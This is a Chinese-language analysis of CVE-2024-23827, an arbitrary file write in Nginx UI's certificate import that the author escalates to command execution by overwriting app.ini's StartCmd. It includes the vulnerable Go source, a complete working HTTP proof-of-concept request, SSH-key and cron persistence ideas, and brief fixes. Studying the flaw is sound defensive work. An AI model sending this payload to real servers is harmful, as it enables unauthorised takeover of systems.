CVE-2024-23827分析

Nginx UI是一个用于管理Nginx配置的web界面。其中导入证书功能,允许任意写入文件。该功能不检查提供的用户输入是否是证书/密钥,并允许写入系统中的任意路径。通过覆盖配置文件app.ini,有可能利用该漏洞进行远程代码执行。2.0.0.beta.12版本修复了该问题

环境部署

先找一个漏洞存在的版本,然后拉起docker部署

1
2
docker pull uozi/nginx-ui:v1.9.9
docker run -d --name nginx-ui -p 1000:80 uozi/nginx-ui:v1.9.9

源码下载:

1
2
3
git clone https://github.com/0xJacky/nginx-ui.git
git ls-remote --tags https://github.com/0xJacky/nginx-ui.git
git checkout v1.9.9

分析

根据漏洞披露,触发点在证书上传的接口,搜索定位到cert.go文件中,比较容易可以看出这里仅仅判断了传入的两个路径是不是文件路径,以及非空校验,没有对文件路径进行限制,所以存在任意文件写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
func AddCert(c *gin.Context) {
var json struct {
Name string `json:"name"`
SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"`
SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
SSLCertification string `json:"ssl_certification"`
SSLCertificationKey string `json:"ssl_certification_key"`
}
if !BindAndValid(c, &json) {
return
}
certModel := &model.Cert{
Name: json.Name,
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
}
err := certModel.Insert()
if err != nil {
ErrHandler(c, err)
return
}
err = os.MkdirAll(filepath.Dir(json.SSLCertificatePath), 0644)
if err != nil {
ErrHandler(c, err)
return
}
err = os.MkdirAll(filepath.Dir(json.SSLCertificateKeyPath), 0644)
if err != nil {
ErrHandler(c, err)
return
}
if json.SSLCertification != "" {
err = os.WriteFile(json.SSLCertificatePath, []byte(json.SSLCertification), 0644)
if err != nil {
ErrHandler(c, err)
return
}
}
if json.SSLCertificationKey != "" {
err = os.WriteFile(json.SSLCertificateKeyPath, []byte(json.SSLCertificationKey), 0644)
if err != nil {
ErrHandler(c, err)
return
}
}
getCert(c, certModel)
}

现在能控制任意路径的写入,那能不能写入恶意内容呢。一般来说,对于证书类业务,后面应该对上传的文件进行解析判断是不是能够解析的证书内容,这里虽然做了判断,但是判断为不合法的证书内容后没有对上传的文件进行清理,这里是漏洞能够进行的原因之一。

具体在getCert函数这里:这里解析失败后没有做任何处理,只返回错误

所以也确实能对任意路径写入任意内容:这里在/tmp下写入test1文件

只能任意写入文件似乎危害不大,因为这是Go后端,不能写webshell,如何扩大危害呢。

利用思路

app.ini配置文件可以发现一个参数StartCmd

在源码中是按照如下的代码进行解析的,这段是在给网页终端创建一个后端“管道”:一头连 WebSocket,一头启动一个伪终端里的系统命令。

这里StartCmd参数中的值会被c := exec.Command(settings.ServerSettings.StartCmd)执行,所以我们只需要将我们想要执行的程序通过StartCmd参数写入app.ini配置文件,app,ini为程序启动的配置文件,在程序重新启动时便可以执行我们想要的命令。

注意在Go语言里面,仅仅有下面这个代码是不会命令执行的,它只是创建了一个 *exec.Cmd 对象。

1
cmd := exec.Command("whoami")

需要对对象进行调用才能真正的执行:

1
2
3
4
5
6
cmd := exec.Command("whoami")
out, err := cmd.CombinedOutput()
if err != nil {
panic(err)
}
fmt.Println(string(out))

在这里就传入bash,前端的终端就会被启用

poc:

1
2
3
4
5
POST /api/cert HTTP/1.1
Host: localhost:1000
Content-Type: application/json; charset=utf-8

{"name":"test2","ssl_certificate_path":"/etc/nginx-ui/app.ini","ssl_certificate_key_path":"/etc/nginx-ui/app.ini","ssl_certification":"[server]\nHttpPort = 9000\nRunMode = debug\nJwtSecret = 532b2f5a-828a-4e27-8192-d644d37f3604\nHTTPChallengePort = 9180\nEmail = a@q.com\nDatabase = database\nStartCmd = bash\nCADir = \nDemo = false\nPageSize = 10\nGithubProxy = \nNginxConfigDir = \nNginxPIDPath = \n\n[nginx_log]\nAccessLogPath = \nErrorLogPath = \n\n[openai]\nBaseUrl = \nToken = \nProxy = \nModel = \n\n[git]\nUrl = \nAuthMethod = \nUsername = \nPassword = \nPrivateKeyFilePath = \n","ssl_certification_key":"[server]\nHttpPort = 9000\nRunMode = debug\nJwtSecret = 532b2f5a-828a-4e27-8192-d644d37f3604\nHTTPChallengePort = 9180\nEmail = a@q.com\nDatabase = database\nStartCmd = touch a.txt\nCADir = \nDemo = false\nPageSize = 10\nGithubProxy = \nNginxConfigDir = \nNginxPIDPath = \n\n[nginx_log]\nAccessLogPath = \nErrorLogPath = \n\n[openai]\nBaseUrl = \nToken = \nProxy = \nModel = \n\n[git]\nUrl = \nAuthMethod = \nUsername = \nPassword = \nPrivateKeyFilePath = "}

这个方法虽然能直接拿到shell,但是需要重启Nginx服务,难度较大。

这里也可以通过写入写入SSH公钥免密登陆,首先需要先在客户端生成SSH密钥对,可以使用 ssh-keygen 命令

1
ssh-keygen -t rsa -b 4096

此时会在在 ~/.ssh/ 目录下生成两个文件,id_rsa(私钥)和 id_rsa.pub(公钥)。我们只需要将生成的公钥(id_rsa.pub)写入到服务器的 ~/.ssh/authorized_keys 文件中,便可以直接通过ssh登陆到服务器。由于这里是docker容器,不进行测试,理论上完全可行。还有一种方案是写入定时任务,也是可行的,这里docker也不便于复现。

防御

写入前检验文件内容,通过解析传入文件内容判断是否为合法的证书,而不是恶意内容:

其次,增加对文件路径的校验,只能在Nginx目录下进行文件操作,


消除了目录穿越的风险:

这三个措施完全消除了任意文件写入漏洞产生的可能性。